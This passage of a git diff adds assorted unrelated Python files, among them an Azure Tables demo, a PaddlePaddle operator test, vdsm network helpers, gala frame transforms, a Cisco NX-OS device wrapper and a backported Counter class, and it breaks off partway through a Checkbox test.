+pizza.description = 'Veggie'
+pizza.cost = 15
+table_service.insert_entity('pizzatable', pizza)
+print('Created entry for veggie...')
+
+pizza = Entity()
+pizza.PartitionKey = 'pizzamenu'
+pizza.RowKey = '003'
+pizza.description = 'Hawaiian'
+pizza.cost = 12
+table_service.insert_entity('pizzatable', pizza)
+print('Created entry for Hawaiian...\n')
+
+time.sleep(1)
+
+
+###
+# Use the Azure Storage Storage SDK for Python to query for entities in our Table
+###
+print('With some data in our Azure Storage Table, we can query the data.\nLet\'s see what the pizza menu looks like.')
+raw_input('Press Enter to continue...')
+
+# In this query, you define the partition key to search within, and then which properties to retrieve
+# Structuring queries like this improves performance as your application scales up and keeps the queries efficient
+pizzas = table_service.query_entities('pizzatable', filter="PartitionKey eq 'pizzamenu'", select='description,cost')
+for pizza in pizzas:
+    print('Name: ' + pizza.description)
+    print('Cost: ' + str(pizza.cost) + '\n')
+
+time.sleep(1)
+
+
+###
+# This was a quick demo to see Tables in action.
+# Although the actual cost is minimal (fractions of a cent per month) for the three entities we created, it's good to clean up resources when you're done
+###
+print('\nThis is a basic example of how Azure Storage Tables behave like a database.\nTo keep things tidy, let\'s clean up the Azure Storage resources we created.')
+raw_input('Press Enter to continue...')
+
+response = table_service.delete_table('pizzatable')
+if response == True:
+    print('Storage table: pizzatable deleted successfully.')
+else:
+    print('Error deleting Storage Table')
+
+response = azurerm.delete_resource_group(auth_token, subscription_id, resourcegroup_name)
+if response.status_code == 202:
+    print('Resource group: ' + resourcegroup_name + ' deleted successfully.')
+else:
+    print('Error deleting resource group.')
diff --git a/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py b/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py
new file mode 100644
index 0000000000000000000000000000000000000000..a2f56c428012c615dcf55b6832a54ca473771d08
--- /dev/null
+++ b/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py
@@ -0,0 +1,131 @@
+#    Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from __future__ import print_function
+
+import unittest
+import numpy as np
+import math
+import sys
+from op_test import OpTest
+
+
+class TestCollectFPNProposalstOp(OpTest):
+    def set_data(self):
+        self.init_test_case()
+        self.make_rois()
+        self.scores_input = [('y%d' % i,
+                              (self.scores[i].reshape(-1, 1), self.rois_lod[i]))
+                             for i in range(self.num_level)]
+        self.rois, self.lod = self.calc_rois_collect()
+        inputs_x = [('x%d' % i, (self.roi_inputs[i][:, 1:], self.rois_lod[i]))
+                    for i in range(self.num_level)]
+        self.inputs = {
+            'MultiLevelRois': inputs_x,
+            "MultiLevelScores": self.scores_input,
+            'MultiLevelRoIsNum': []
+        }
+        self.attrs = {'post_nms_topN': self.post_nms_top_n, }
+        self.outputs = {
+            'FpnRois': (self.rois, [self.lod]),
+            'RoisNum': np.array(self.lod).astype('int32')
+        }
+
+    def init_test_case(self):
+        self.post_nms_top_n = 20
+        self.images_shape = [100, 100]
+
+    def resort_roi_by_batch_id(self, rois):
+        batch_id_list = rois[:, 0]
+        batch_size = int(batch_id_list.max())
+        sorted_rois = []
+        new_lod = []
+        for batch_id in range(batch_size + 1):
+            sub_ind = np.where(batch_id_list == batch_id)[0]
+            sub_rois = rois[sub_ind, 1:]
+            sorted_rois.append(sub_rois)
+            new_lod.append(len(sub_rois))
+        new_rois = np.concatenate(sorted_rois)
+        return new_rois, new_lod
+
+    def calc_rois_collect(self):
+        roi_inputs = np.concatenate(self.roi_inputs)
+        scores = np.concatenate(self.scores)
+        inds = np.argsort(-scores)[:self.post_nms_top_n]
+        rois = roi_inputs[inds, :]
+        new_rois, new_lod = self.resort_roi_by_batch_id(rois)
+        return new_rois, new_lod
+
+    def make_rois(self):
+        self.num_level = 4
+        self.roi_inputs = []
+        self.scores = []
+        self.rois_lod = [[[20, 10]], [[30, 20]], [[20, 30]], [[10, 10]]]
+        for lvl in range(self.num_level):
+            rois = []
+            scores_pb = []
+            lod = self.rois_lod[lvl][0]
+            bno = 0
+            for roi_num in lod:
+                for i in range(roi_num):
+                    xywh = np.random.rand(4)
+                    xy1 = xywh[0:2] * 20
+                    wh = xywh[2:4] * (self.images_shape - xy1)
+                    xy2 = xy1 + wh
+                    roi = [bno, xy1[0], xy1[1], xy2[0], xy2[1]]
+                    rois.append(roi)
+                bno += 1
+                scores_pb.extend(list(np.random.uniform(0.0, 1.0, roi_num)))
+            rois = np.array(rois).astype("float32")
+            self.roi_inputs.append(rois)
+            scores_pb = np.array(scores_pb).astype("float32")
+            self.scores.append(scores_pb)
+
+    def setUp(self):
+        self.op_type = "collect_fpn_proposals"
+        self.set_data()
+
+    def test_check_output(self):
+        self.check_output(check_dygraph=False)
+
+
+class TestCollectFPNProposalstOpWithRoisNum(TestCollectFPNProposalstOp):
+    def set_data(self):
+        self.init_test_case()
+        self.make_rois()
+        self.scores_input = [('y%d' % i,
+                              (self.scores[i].reshape(-1, 1), self.rois_lod[i]))
+                             for i in range(self.num_level)]
+        self.rois, self.lod = self.calc_rois_collect()
+        inputs_x = [('x%d' % i, (self.roi_inputs[i][:, 1:], self.rois_lod[i]))
+                    for i in range(self.num_level)]
+        rois_num_per_level = [
+            ('rois%d' % i, np.array(self.rois_lod[i][0]).astype('int32'))
+            for i in range(self.num_level)
+        ]
+
+        self.inputs = {
+            'MultiLevelRois': inputs_x,
+            "MultiLevelScores": self.scores_input,
+            'MultiLevelRoIsNum': rois_num_per_level
+        }
+        self.attrs = {'post_nms_topN': self.post_nms_top_n, }
+        self.outputs = {
+            'FpnRois': (self.rois, [self.lod]),
+            'RoisNum': np.array(self.lod).astype('int32')
+        }
+
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0008922_views.py b/pool/shard000/Python/0008922_views.py
new file mode 100644
index 0000000000000000000000000000000000000000..b4c820479c236899f6b619e6399829d59d589c76
--- /dev/null
+++ b/pool/shard000/Python/0008922_views.py
@@ -0,0 +1,28 @@
+# -*- coding: utf-8 -*-
+from django.contrib.sites.shortcuts import get_current_site
+from django.http import JsonResponse, HttpResponseBadRequest
+from django.shortcuts import render
+from django.views.decorators.http import require_GET
+
+from .models import Content
+
+def widget(request):
+    context = {
+        'contents': Content.objects.filter(tags__name__in=['starting'])
+    }
+    return render(request, 'widget.html', context)
+
+@require_GET
+def images_by_tag(request, tag):
+    """Return the URLs of images that match the given tag"""
+    if not request.is_ajax():
+        return HttpResponseBadRequest()
+
+    prefix = 'http://{}'.format(get_current_site(request))
+    data = {'status': 'OK'}
+
+    image_urls = ['{}{}'.format(prefix, c.image.url)
+            for c in Content.objects.filter(tags__name__in=[tag])]
+    data.update({'data': image_urls})
+
+    return JsonResponse(data)
diff --git a/pool/shard000/Python/0008925_addresses.py b/pool/shard000/Python/0008925_addresses.py
new file mode 100644
index 0000000000000000000000000000000000000000..0e198f5f6c643ddbc5cda1099e3d998cf73ce36f
--- /dev/null
+++ b/pool/shard000/Python/0008925_addresses.py
@@ -0,0 +1,131 @@
+#
+# Copyright 2015-2021 Red Hat, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+#
+# Refer to the README and COPYING files for full details of the license
+#
+
+from __future__ import absolute_import
+from __future__ import division
+
+from collections import defaultdict
+
+import ipaddress
+import logging
+import socket
+
+from vdsm.network.netlink import addr as nl_addr
+from vdsm.network.sysctl import is_ipv6_local_auto as sysctl_is_ipv6_local_auto
+
+
+def getIpInfo(dev, ipaddrs=None, ipv4_gateway=None):
+    """Report IP addresses of a device. if there are multiple primary IP
+    addresses, report in ipv4addr the one that is in the same subnet of
+    ipv4_gateway, if it is supplied."""
+    # TODO: support same logic for ipv6
+
+    if ipaddrs is None:
+        ipaddrs = getIpAddrs()
+    ipv4addr = ipv4netmask = ''
+    ipv4addrs = []
+    ipv6addrs = []
+
+    def addr_in_gw_net(address, prefix, ipv4_gw):
+        addr_iface = ipaddress.ip_interface(f'{address}/{prefix}')
+        gw_net = ipaddress.ip_interface(f'{ipv4_gw}/{prefix}').network
+        return addr_iface in gw_net
+
+    for addr in ipaddrs[dev]:
+        if addr['scope'] == 'link':
+            continue
+        address_cidr = nl_addr.cidr_form(addr)  # x.y.z.t/N
+        if addr['family'] == 'inet':  # ipv4
+            ipv4addrs.append(address_cidr)
+            if nl_addr.is_primary(addr) and ipv4_gateway and ipv4addr == '':
+                address, prefix = nl_addr.split(addr)
+                if addr_in_gw_net(address, prefix, ipv4_gateway):
+                    ipv4addr, ipv4netmask = _addr_and_netmask_from_cidr(
+                        address_cidr
+                    )
+        else:  # ipv6
+            ipv6addrs.append(address_cidr)
+    if ipv4addrs and ipv4addr == '':
+        # If we didn't find an address in the gateway subnet (which is
+        # legal if there is another route that takes us to the gateway) we
+        # choose to report the first address
+        ipv4addr, ipv4netmask = _addr_and_netmask_from_cidr(ipv4addrs[0])
+
+    return ipv4addr, ipv4netmask, ipv4addrs, ipv6addrs
+
+
+def getIpAddrs():
+    addrs = defaultdict(list)
+    for addr in nl_addr.iter_addrs():
+        addrs[addr['label']].append(addr)
+    return addrs
+
+
+def IPv4toMapped(ip):
+    """Return an IPv6 IPv4-mapped address for the IPv4 address"""
+    mapped = None
+
+    try:
+        ipv6bin = b'\x00' * 10 + b'\xff\xff' + socket.inet_aton(ip)
+        mapped = socket.inet_ntop(socket.AF_INET6, ipv6bin)
+    except socket.error as e:
+        logging.debug("getIfaceByIP: %s", e)
+
+    return mapped
+
+
+def getDeviceByIP(ip):
+    """
+    Get network device by IP address
+    :param ip: String representing IPv4 or IPv6
+    """
+    for addr in nl_addr.iter_addrs():
+        address = addr['address'].split('/')[0]
+        if (
+            addr['family'] == 'inet' and ip in (address, IPv4toMapped(address))
+        ) or (addr['family'] == 'inet6' and ip == address):
+            return addr['label']
+    return ''
+
+
+def getIpAddresses():
+    "Return a list of the host's IPv4 addresses"
+    return [
+        addr['address']
+        for addr in nl_addr.iter_addrs()
+        if addr['family'] == 'inet'
+    ]
+
+
+def is_ipv6(nladdr):
+    return nladdr['family'] == 'inet6'
+
+
+def is_dynamic(nladdr):
+    return not nl_addr.is_permanent(nladdr)
+
+
+def is_ipv6_local_auto(iface):
+    return sysctl_is_ipv6_local_auto(iface)
+
+
+def _addr_and_netmask_from_cidr(address_cidr):
+    ip_iface = ipaddress.ip_interface(address_cidr)
+    return str(ip_iface.ip), str(ip_iface.network.netmask)
diff --git a/pool/shard000/Python/0008931_hasher.py b/pool/shard000/Python/0008931_hasher.py
new file mode 100644
index 0000000000000000000000000000000000000000..a819ff9665e51918ee31c8eacacd4ad0bf9ae017
--- /dev/null
+++ b/pool/shard000/Python/0008931_hasher.py
@@ -0,0 +1,22 @@
+#! /usr/bin/env python
+import sys
+import pickle
+import random
+
+def main():
+	file = sys.argv[1]
+	l = pickle.load(open(file))
+	hash_file(l)
+
+def hash_file(file):
+	y = random.Random()
+	for x in file:
+    		if len(x) <= 4: 
+        		x.append(y.random())
+    		else:
+        		for fields in x:
+            			fields.append(y.random())
+	pickle.dump(file, open(sys.argv[1]+".p", "wb")) 
+	
+if __name__ == "__main__":
+	main()
diff --git a/pool/shard000/Python/0008933_problem0004.py b/pool/shard000/Python/0008933_problem0004.py
new file mode 100644
index 0000000000000000000000000000000000000000..07b20e77701fb906f7ce525340606ae266bb5a01
--- /dev/null
+++ b/pool/shard000/Python/0008933_problem0004.py
@@ -0,0 +1,32 @@
+def largest_palindrome(num_digits):
+    max_input = 10 ** num_digits
+    min_input = 10 ** (num_digits - 1)
+    inputs = range(min_input, max_input)
+    products = []
+
+    print('Debug: max_input: {0}'.format(max_input))
+    print('Debug: min_input: {0}'.format(min_input))
+    for input1 in inputs:
+        for input2 in inputs: #TODO this doubles up items and could be optimised
+            products.append(input1 * input2)
+
+    largest_candidate = 0
+
+    for candidate in products:
+        if not candidate > largest_candidate:
+            continue #move to the next candidate
+        s = str(candidate)
+        length = len(s)
+        completed = True
+        for i in range(0, int(length/2)):
+            if s[i] != s[length - 1 - i]:
+                completed = False
+                break
+
+        if completed:
+            largest_candidate = candidate
+
+    return largest_candidate
+
+if __name__ == "__main__":
+    print(largest_palindrome(3))
diff --git a/pool/shard000/Python/0008935_transformations.py b/pool/shard000/Python/0008935_transformations.py
new file mode 100644
index 0000000000000000000000000000000000000000..0bd298246bca24252ca1d9097d4c399d37decece
--- /dev/null
+++ b/pool/shard000/Python/0008935_transformations.py
@@ -0,0 +1,176 @@
+# Third-party
+from astropy.utils.misc import isiterable
+import numpy as np
+
+# Gala
+from gala.dynamics import Orbit
+from gala.units import DimensionlessUnitSystem
+
+__all__ = ['static_to_constantrotating', 'constantrotating_to_static']
+
+
+def rodrigues_axis_angle_rotate(x, vec, theta):
+    """
+    Rotated the input vector or set of vectors `x` around the axis
+    `vec` by the angle `theta`.
+
+    Parameters
+    ----------
+    x : array_like
+        The vector or array of vectors to transform. Must have shape
+
+
+    """
+    x = np.array(x).T
+    vec = np.array(vec).T
+    theta = np.array(theta).T[..., None]
+
+    out = np.cos(theta)*x + np.sin(theta) * np.cross(vec, x) + \
+        (1 - np.cos(theta)) * (vec * x).sum(axis=-1)[..., None] * vec
+
+    return out.T
+
+
+def z_angle_rotate(xy, theta):
+    """
+    Rotated the input vector or set of vectors `xy` by the angle `theta`.
+
+    Parameters
+    ----------
+    xy : array_like
+        The vector or array of vectors to transform. Must have shape
+
+
+    """
+    xy = np.array(xy).T
+    theta = np.array(theta).T
+
+    out = np.zeros_like(xy)
+    out[..., 0] = np.cos(theta)*xy[..., 0] - np.sin(theta)*xy[..., 1]
+    out[..., 1] = np.sin(theta)*xy[..., 0] + np.cos(theta)*xy[..., 1]
+
+    return out.T
+
+
+def _constantrotating_static_helper(frame_r, frame_i, w, t=None, sign=1.):
+    # TODO: use representation arithmetic instead
+    Omega = -frame_r.parameters['Omega'].decompose(frame_i.units).value
+
+    if not isinstance(w, Orbit) and t is None:
+        raise ValueError("Time array must be provided if not passing an "
+                         "Orbit subclass.")
+
+    if t is None:
+        t = w.t
+
+    elif not hasattr(t, 'unit'):
+        t = t * frame_i.units['time']
+
+    if t is None:
+        raise ValueError('Time must be supplied either through the input '
+                         'Orbit class instance or through the t argument.')
+    t = t.decompose(frame_i.units).value
+
+    # HACK: this is a little bit crazy...this makes it so that !=3D
+    #   representations will work here
+    if hasattr(w.pos, 'xyz'):
+        pos = w.pos
+        vel = w.vel
+    else:
+        cart = w.cartesian
+        pos = cart.pos
+        vel = cart.vel
+
+    pos = pos.xyz.decompose(frame_i.units).value
+    vel = vel.d_xyz.decompose(frame_i.units).value
+
+    # get rotation angle, axis vs. time
+    if isiterable(Omega):  # 3D
+        vec = Omega / np.linalg.norm(Omega)
+        theta = np.linalg.norm(Omega) * t
+
+        x_i2r = rodrigues_axis_angle_rotate(pos, vec, sign*theta)
+        v_i2r = rodrigues_axis_angle_rotate(vel, vec, sign*theta)
+
+    else:  # 2D
+        vec = Omega * np.array([0, 0, 1.])
+        theta = sign * Omega * t
+
+        x_i2r = z_angle_rotate(pos, theta)
+        v_i2r = z_angle_rotate(vel, theta)
+
+    return x_i2r * frame_i.units['length'], v_i2r * frame_i.units['length']/frame_i.units['time']
+
+
+def static_to_constantrotating(frame_i, frame_r, w, t=None):
+    """
+    Transform from an inertial static frame to a rotating frame.
+
+    Parameters
+    ----------
+    frame_i : `~gala.potential.StaticFrame`
+    frame_r : `~gala.potential.ConstantRotatingFrame`
+    w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`
+    t : quantity_like (optional)
+        Required if input coordinates are just a phase-space position.
+
+    Returns
+    -------
+    pos : `~astropy.units.Quantity`
+        Position in rotating frame.
+    vel : `~astropy.units.Quantity`
+        Velocity in rotating frame.
+    """
+    return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i,
+                                           w=w, t=t, sign=1.)
+
+
+def constantrotating_to_static(frame_r, frame_i, w, t=None):
+    """
+    Transform from a constantly rotating frame to a static, inertial frame.
+
+    Parameters
+    ----------
+    frame_i : `~gala.potential.StaticFrame`
+    frame_r : `~gala.potential.ConstantRotatingFrame`
+    w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`
+    t : quantity_like (optional)
+        Required if input coordinates are just a phase-space position.
+
+    Returns
+    -------
+    pos : `~astropy.units.Quantity`
+        Position in static, inertial frame.
+    vel : `~astropy.units.Quantity`
+        Velocity in static, inertial frame.
+    """
+    return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i,
+                                           w=w, t=t, sign=-1.)
+
+
+def static_to_static(frame_r, frame_i, w, t=None):
+    """
+    No-op transform
+
+    Parameters
+    ----------
+    frame_i : `~gala.potential.StaticFrame`
+    frame_r : `~gala.potential.ConstantRotatingFrame`
+    w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`
+    t : quantity_like (optional)
+        Required if input coordinates are just a phase-space position.
+
+    Returns
+    -------
+    pos : `~astropy.units.Quantity`
+        Position in static, inertial frame.
+    vel : `~astropy.units.Quantity`
+        Velocity in static, inertial frame.
+    """
+    tmp = [isinstance(frame_r.units, DimensionlessUnitSystem),
+           isinstance(frame_i.units, DimensionlessUnitSystem)]
+    if not all(tmp) and any(tmp):
+        raise ValueError(
+            "StaticFrame to StaticFrame transformations are only allowed if "
+            "both unit systems are physical, or both are dimensionless.")
+    return w.pos.xyz, w.vel.d_xyz
diff --git a/pool/shard000/Python/0008936_cisconx.py b/pool/shard000/Python/0008936_cisconx.py
new file mode 100644
index 0000000000000000000000000000000000000000..ebc5412565c7c88073f8c93324982cfcc087b438
--- /dev/null
+++ b/pool/shard000/Python/0008936_cisconx.py
@@ -0,0 +1,88 @@
+#!/usr/bin/python
+#
+# Copyright 2014 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""A push implementation for Cisco Nexus(NX-OS) devices.
+
+This module implements the base device interface of base_device.py for
+Cisco NX-OS devices.
+"""
+
+__author__ = 'mijith@google.com (Mijith)'
+
+
+import gflags
+
+import paramiko_device
+import push_exceptions as exceptions
+
+FLAGS = gflags.FLAGS
+
+gflags.DEFINE_float('cisconx_timeout_response', None,
+                   'Cisco nexus device response timeout in seconds.')
+gflags.DEFINE_float('cisconx_timeout_connect', None,
+                   'Cisco nexus device connect timeout in seconds.')
+gflags.DEFINE_float('cisconx_timeout_idle', None,
+                   'Cisco nexus device idle timeout in seconds.')
+gflags.DEFINE_float('cisconx_timeout_disconnect', None,
+                   'Cisco nexus device disconnect timeout in seconds.')
+gflags.DEFINE_float('cisconx_timeout_act_user', None,
+                   'Cisco nexus device user activation timeout in seconds.')
+
+INVALID_OUT = 'Cmd exec error.'
+# eg:.
+# [ mijith@pulsar: ~ ].
+# $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'foo'.
+# Syntax error while parsing 'foo'.
+#
+# Cmd exec error.
+
+
+class CiscoNexusDevice(paramiko_device.ParamikoDevice):
+  """A base device model suitable for Cisco Nexus devices.
+
+  See the base_device.BaseDevice method docstrings.
+  """
+
+  def __init__(self, **kwargs):
+    self.vendor_name = 'cisconx'
+    super(CiscoNexusDevice, self).__init__(**kwargs)
+
+  def _Cmd(self, command, mode=None):
+    """Cisco Nexus wrapper for ParamikoDevice._Cmd()."""
+
+    result = super(CiscoNexusDevice, self)._Cmd(command, mode)
+    # On Successful execution of a command.
+    # ssh gmonitor@us-mtv-43-fabsw1.mtv 'show version'.
+    # Password:.
+    # Cisco Nexus Operating System (NX-OS) Software
+    # TAC support: http://www.cisco.com/tac.
+    # [output truncated].
+
+    # Incomplete Command Example.
+    # [ mijith@pulsar: ~ ].
+    # $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'show'
+    # Syntax error while parsing 'show'.
+    # Cmd exec error.
+
+    # Invalid Command Example.
+    # [ mijith@pulsar: ~ ].
+    # $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'foo'.
+    # Syntax error while parsing 'foo'.
+    # Cmd exec error.
+
+    if result.endswith(INVALID_OUT):
+      raise exceptions.CmdError('INVALID COMMAND: %s' % command)
+
+    return result
diff --git a/pool/shard000/Python/0008943_init__.py b/pool/shard000/Python/0008943_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..6f5a9619275a82b38ba398664d4593cf6de46700
--- /dev/null
+++ b/pool/shard000/Python/0008943_init__.py
@@ -0,0 +1,65 @@
+import sys
+import os
+from flask import Flask
+from flask.ext.cache import Cache
+
+app = Flask(__name__)
+
+# Load configuration defaults
+app.config.from_object("pegasus.service.defaults")
+
+# Load user configuration
+conf = os.path.expanduser("~/.pegasus/service.py")
+if os.path.isfile(conf):
+    app.config.from_pyfile(conf)
+del conf
+
+# Find pegasus home
+def get_pegasus_home():
+    home = os.getenv("PEGASUS_HOME", None)
+    if home is not None:
+        if not os.path.isdir(home):
+            raise ImportError("Invalid value for PEGASUS_HOME environment variable: %s" % home)
+        return home
+
+    home = app.config.get("PEGASUS_HOME", None)
+    if home is not None:
+        if not os.path.isdir(home):
+            raise ImportError("Invalid directory for PEGASUS_HOME in configuration file: %s" % home)
+        return home
+
+    return None
+
+# Find pegasus python library
+def get_pegasus_lib_python():
+    home = get_pegasus_home()
+    if home is not None:
+        for lib in ["lib64","lib"]:
+            pythonpath = os.path.join(home, lib, "pegasus", "python")
+            if os.path.isdir(pythonpath):
+                return pythonpath
+        raise ImportError("Pegasus Python lib directory not found in PEGASUS_HOME: '%s' " % home)
+
+    # Try the default RPM/DEB locations as a last resort
+    shares = ["/usr/lib64/pegasus/python", "/usr/lib/pegasus/python"]
+    for share in shares:
+        if os.path.isdir(share):
+            return share
+
+    raise ImportError("Error getting path for Pegasus Python library: Set PEGASUS_HOME in your environment or configuration file")
+
+# Add pegasus wms python library to pythonpath
+try:
+    import Pegasus.netlogger
+except ImportError:
+    sys.path.insert(0, get_pegasus_lib_python())
+
+from flask.ext.sqlalchemy import SQLAlchemy
+db = SQLAlchemy(app)
+cache = Cache(app)
+
+from pegasus.service import auth, filters, api, dashboard, catalogs, ensembles
+
+from Pegasus.netlogger.analysis.schema import stampede_dashboard_schema as dash
+dash.initializeToDashboardDB(db.engine, db.metadata)
+
diff --git a/pool/shard000/Python/0008947_counter.py b/pool/shard000/Python/0008947_counter.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b55fe57a28f2152242787cd5ee03016df797ba9
--- /dev/null
+++ b/pool/shard000/Python/0008947_counter.py
@@ -0,0 +1,192 @@
+'''
+2.7's Counter class backported for python 2.5+
+'''
+from operator import itemgetter
+from heapq import nlargest
+from itertools import repeat, ifilter
+
+class Counter(dict):
+    '''Dict subclass for counting hashable objects.  Sometimes called a bag
+    or multiset.  Elements are stored as dictionary keys and their counts
+    are stored as dictionary values.
+
+    >>> Counter('zyzygy')
+    Counter({'y': 3, 'z': 2, 'g': 1})
+
+    '''
+
+    def __init__(self, iterable=None, **kwds):
+        '''Create a new, empty Counter object.  And if given, count elements
+        from an input iterable.  Or, initialize the count from another mapping
+        of elements to their counts.
+
+        >>> c = Counter()                           # a new, empty counter
+        >>> c = Counter('gallahad')                 # a new counter from an iterable
+        >>> c = Counter({'a': 4, 'b': 2})           # a new counter from a mapping
+        >>> c = Counter(a=4, b=2)                   # a new counter from keyword args
+
+        '''        
+        self.update(iterable, **kwds)
+
+    def __missing__(self, key):
+        return 0
+
+    def most_common(self, n=None):
+        '''List the n most common elements and their counts from the most
+        common to the least.  If n is None, then list all element counts.
+
+        >>> Counter('abracadabra').most_common(3)
+        [('a', 5), ('r', 2), ('b', 2)]
+
+        '''        
+        if n is None:
+            return sorted(self.iteritems(), key=itemgetter(1), reverse=True)
+        return nlargest(n, self.iteritems(), key=itemgetter(1))
+
+    def elements(self):
+        '''Iterator over elements repeating each as many times as its count.
+
+        >>> c = Counter('ABCABC')
+        >>> sorted(c.elements())
+        ['A', 'A', 'B', 'B', 'C', 'C']
+
+        If an element's count has been set to zero or is a negative number,
+        elements() will ignore it.
+
+        '''
+        for elem, count in self.iteritems():
+            for _ in repeat(None, count):
+                yield elem
+
+    # Override dict methods where the meaning changes for Counter objects.
+
+    @classmethod
+    def fromkeys(cls, iterable, v=None):
+        raise NotImplementedError(
+            'Counter.fromkeys() is undefined.  Use Counter(iterable) instead.')
+
+    def update(self, iterable=None, **kwds):
+        '''Like dict.update() but add counts instead of replacing them.
+
+        Source can be an iterable, a dictionary, or another Counter instance.
+
+        >>> c = Counter('which')
+        >>> c.update('witch')           # add elements from another iterable
+        >>> d = Counter('watch')
+        >>> c.update(d)                 # add elements from another counter
+        >>> c['h']                      # four 'h' in which, witch, and watch
+        4
+
+        '''        
+        if iterable is not None:
+            if hasattr(iterable, 'iteritems'):
+                if self:
+                    self_get = self.get
+                    for elem, count in iterable.iteritems():
+                        self[elem] = self_get(elem, 0) + count
+                else:
+                    dict.update(self, iterable) # fast path when counter is empty
+            else:
+                self_get = self.get
+                for elem in iterable:
+                    self[elem] = self_get(elem, 0) + 1
+        if kwds:
+            self.update(kwds)
+
+    def copy(self):
+        'Like dict.copy() but returns a Counter instance instead of a dict.'
+        return Counter(self)
+
+    def __delitem__(self, elem):
+        'Like dict.__delitem__() but does not raise KeyError for missing values.'
+        if elem in self:
+            dict.__delitem__(self, elem)
+
+    def __repr__(self):
+        if not self:
+            return '%s()' % self.__class__.__name__
+        items = ', '.join(map('%r: %r'.__mod__, self.most_common()))
+        return '%s({%s})' % (self.__class__.__name__, items)
+
+    # Multiset-style mathematical operations discussed in:
+    #       Knuth TAOCP Volume II section 4.6.3 exercise 19
+    #       and at http://en.wikipedia.org/wiki/Multiset
+    #
+    # Outputs guaranteed to only include positive counts.
+    #
+    # To strip negative and zero counts, add-in an empty counter:
+    #       c += Counter()
+
+    def __add__(self, other):
+        '''Add counts from two counters.
+
+        >>> Counter('abbb') + Counter('bcc')
+        Counter({'b': 4, 'c': 2, 'a': 1})
+
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = self[elem] + other[elem]
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __sub__(self, other):
+        ''' Subtract count, but keep only results with positive counts.
+
+        >>> Counter('abbbc') - Counter('bccd')
+        Counter({'b': 2, 'a': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = self[elem] - other[elem]
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __or__(self, other):
+        '''Union is the maximum of value in either of the input counters.
+
+        >>> Counter('abbb') | Counter('bcc')
+        Counter({'b': 3, 'c': 2, 'a': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        _max = max
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = _max(self[elem], other[elem])
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __and__(self, other):
+        ''' Intersection is the minimum of corresponding counts.
+
+        >>> Counter('abbb') & Counter('bcc')
+        Counter({'b': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        _min = min
+        result = Counter()
+        if len(self) < len(other):
+            self, other = other, self
+        for elem in ifilter(self.__contains__, other):
+            newcount = _min(self[elem], other[elem])
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+
+if __name__ == '__main__':
+    import doctest
+    print doctest.testmod()
diff --git a/pool/shard000/Python/0008950_test_report.py b/pool/shard000/Python/0008950_test_report.py
new file mode 100644
index 0000000000000000000000000000000000000000..b74544f22f70ecb7633d6c936b5ee4ab19c51e63
--- /dev/null
+++ b/pool/shard000/Python/0008950_test_report.py
@@ -0,0 +1,109 @@
+#
+# This file is part of Checkbox.
+#
+# Copyright 2008 Canonical Ltd.
+#
+# Checkbox is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# Checkbox is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Checkbox.  If not, see <http://www.gnu.org/licenses/>.
+#
+import unittest
+
+from xml.dom.minidom import Document, Node
+
+from checkbox.report import ReportManager, Report
+
+
+class StubReport(Report):
+
+    def register_dumps(self):
+        self._manager.handle_dumps(str, self.dumps_test)
+
+    def register_loads(self):
+        self._manager.handle_loads("test", self.loads_test)
+        self._manager.handle_loads("default", self.loads_default)
+
